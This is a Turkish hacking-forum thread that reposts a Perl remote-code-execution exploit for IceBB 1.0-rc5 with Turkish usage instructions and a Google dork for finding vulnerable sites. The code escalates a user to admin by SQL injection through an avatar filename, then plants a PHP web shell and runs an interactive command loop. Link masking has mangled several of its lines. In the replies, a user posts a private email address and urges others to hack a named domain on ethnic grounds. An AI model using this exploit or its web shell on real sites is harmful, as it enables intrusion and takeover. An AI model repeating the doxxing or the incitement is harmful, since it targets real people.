Yapan=Hessam-x
Kullanımı=Bu Açık İle Sitede Admin Oluşturabilirsiniz Tabiki Bu Script'i Kullanan Sitelerde Neyse
perl exploitadı.pl Sitedeki Linkleri Sadece Üyelerimiz Görebilir..ı.com/icebb/ adminüyeliğinizinadı adminüyeliğinizinşifresi Aralarında Boşluk var.
Yani Örnek Olarakta Verdiği Gibi xpl.pl Sitedeki Linkleri Sadece Üyelerimiz Görebilir.. str0ke 123456
Arama KOduna Gelince Arama KOdu Yoktu Ben Kendim BUldum Yanlışsa Şimdiden Özür Dilerim.
Google Dork=inurl:"/icebb/"
Not=3-4 Sayfalara Giderseniz Siteler Karşınıza Çıkmaya Başlar

Alınan Yer=Sitedeki Linkleri Sadece Üyelerimiz Görebilir..


#!/usr/bin/perl
# IceBB 1.0-rc5 Remote Code Execution Exploit
# 1. register a user
# 2. run this exploit with this usage : $perl xpl.pl [host&path] [uname] [pass]
# 3. login with admin access
#
#
#### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use LWP::UserAgent;
use Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

$port = "80";
$host = $ARGV[0];
$uname = $ARGV[1];
$passwd = $ARGV[2];
$url = "Sitedeki Linkleri Sadece Üyelerimiz Görebilir..".$host;

print q(
################################################## #########
# IceBB 1.0-rc5 Remote Code Exec Exploit #
# Sitedeki Linkleri Sadece Üyelerimiz Görebilir.. #
################# (C)oded By Hessam-x #####################

);


if (@ARGV < 3) {
print " # usage : xpl.pl [host&path] [uname] [pass]\n";
print " # e.g : xpl.pl Sitedeki Linkleri Sadece Üyelerimiz Görebilir.. str0ke 123456\n";
exit();
}

print " [~] User/Password : $uname/$passwd \n";
print " [~] Host : $host \n";

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = Sitedeki Linkleri Sadece Üyelerimiz Görebilir..>new();

$xpl->cookie_jar( $cookie_jar );


$login = $xpl->post($url.'index.php',
Content => [
'act' => 'login',
'from' => 'index.php',
'user' => $uname,
'pass' => $passwd,
'func' => 'Login',
],);

if($cookie_jar->as_string =~ /icebb_sessid=(.*?);/) {
$cookie = $1;
print " [~] Logined ...\n";
} else {
print " [-] Can not Login In $host !\n";
exit();
}

$badcode = "', user_group='1";
$avata = $xpl->post($url.'index.php',Content_Type => 'form-data',
Content => [
'avtype' => 'upload',
'act' => 'ucp',
'func' => 'avatar',
'file' => [
undef,
'avatar.jpg'.$badcode,
Content_type => 'text/plain',
Content => 'MYAVATAR',
],
'submit' => 'Save',
],
);
$avat = $xpl->post($url.'index.php',Content_Type => 'form-data',
Content => [
'avtype' => 'upload',
'act' => 'ucp',
'func' => 'avatar',
'file' => [
undef,
'shell.php'.$badcode,
Content_type => 'text/plain',
Content => '<? echo 1 ; echo _START_ ; system(\$_GET[\'cmd\']); echo _END_ ; ?>',
],
'submit' => 'Save',
],
);
$test = $xpl->get($url.'index.php' ;
if($test->as_string =~ /Admin Control Center/) {
print " [+] You Are admin Now ! \n";
} else {
print " [-] Exploit Failed ! \n";
exit();
}
if($test->as_string =~ /profile=(.*?)'>/) {
$uid = $1;
print " [~] User id : $1 \n";
} else {
print " [?] please enter user id : ";
chomp($uid=<STDIN> ;
}

while ()
{
print "\n[Shell - type 'exit' for exit]\$ ";
chomp($exc=<STDIN> ;
&sys($exc);
}
sub sys($exc) {
if ($exc eq 'exit' { exit() ; }
$res = $xpl->get($url.'uploads/av-'.$uid.'.php?cmd='.$exc);
@result = split(/\n/,$res->content);
$runned = 0;
$on = 0;
for $res(@result) {
if ($res =~ /^_END_/) { print "\n"; return 0; }
if ($on == 0) { print " $res\n"; }
if ($res =~ /^_START_/) { $on = 1; $runned = 1; }
}
if (!$runned) { print "\n Can not execute command . EXPLOIT FAILED !\n" ; exit(); };

}


print "\n ################################################## ## \n";

# milw0rm.com [2007-03-26]

saol paylaşım için

teşekkürler!

paylaşım için saol

paylasımın güzel tesk.

paylaşımın adı güzelde işe yaramıyo kii

saol....

arkadaşlar kendine ben heckerim diyen kürt misyonerliğini yapan bi domain verecem Sitedeki Linkleri Sadece Üyelerimiz Görebilir.. sahibinin msn adresinide verecem iboyildiz@hotmail.com en son bunu kulanıyodu bu domaine iki tvde bağlı demtv sutv KENDİNE TÜRK EVLADIYIM DYOSAN VE ANLYOSAN HECKLEYİN

bu işe yaramaz..

güzel paylaşım

ben size yöntem kulanmanız için yol göstermeye çalıştım sadece ve karşılığında sizden emeğime saygı göstermenizi bekleridim :(

Güzel Paylaşım Kardeşim Saol
(H) (A) (C) (K) (E) (R)
Bizimle UĞRAŞMAK
|G|ÜVEN
|Ö|ZVERİ
|T|ECRÜBE
İSTER
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

sağol kardeş pek anlıyamadım ama :D

paylasıım cok gzl tesekkurler

paylaşım için sağol

paylaşım için teşekkür

saol paylaşım için

paylaşım için eyvallah

arkadaşlar kendine ben heckerim diyen kürt misyonerliğini yapan bi domain verecem Sitedeki Linkleri Sadece Üyelerimiz Görebilir.. sahibinin msn adresinide verecem iboyildiz@hotmail.com en son bunu kulanıyodu bu domaine iki tvde bağlı demtv sutv KENDİNE TÜRK EVLADIYIM DYOSAN VE ANLYOSAN HECKLEYİN





ya şu siteyi hackleyin diye konu açmayın artık arkadaşlar reklamını yapıyorusnuz ama

saol kardeş

bişey olmaz bundan

bencede

paylasim icin saol kardes

shell bılmeyenler ıcın bıraz daha acsaydın daha ıyı olurdu

Bir işe yaramaz.Bende başlığı görünce bişey var sanmıştım.Yinde emeğe saygı tşk

sağol paylaşım için

teşekkürler kardes ya benim msn yi kaydedermisin... emege saygı

eyvallah

Saol Aga

tbr. emeğe saygı

işe yaramaz olsaydı foruma koymazdım arkadaşlar

Güzelmiş saol

çok güzelmiş dostum sağolasın:D....dewam

eyvallah

paylaşımın adı güzelde işe yaramıyo kii

Dogri katılıyorum

Paylaşım için sağol

güzel paylaşım..
denemedim ama pek tutmaz gibi geliyo

saol güzel paylaşım.....

ty kardeş saolsın